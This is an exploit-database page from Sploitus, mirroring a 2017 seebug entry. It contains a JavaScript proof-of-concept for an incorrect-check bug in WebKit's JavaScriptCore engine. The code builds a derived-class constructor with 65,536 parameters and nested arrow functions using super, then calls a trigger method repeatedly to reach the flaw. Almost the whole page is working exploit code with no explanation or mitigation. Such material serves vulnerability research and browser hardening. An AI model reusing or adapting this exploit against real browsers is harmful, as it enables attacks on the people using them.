Sploitus

Exploit for WebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check

seebug Β· 2017-06-06

Exploit Code

MARKDOWN37 lines
## https://sploitus.com/exploit?id=SSV:93180
let args = new Array(0x10000);
args.fill();
args = args.map((_, i) => 'a' + i).join(', ');

let gun = eval(`(function () {
    class A {

    }

    class B extends A {
        constructor(${args}) {
            () => {
                ${args};
                super();
            };

            class C {
                constructor() {
                }

                trigger() {
                    (() => {
                        super.x;
                    })();
                }
            }

            return new C();
        }
    }

    return new B();
})()`);

for (let i = 0; i < 0x10000; i++)
    gun.trigger();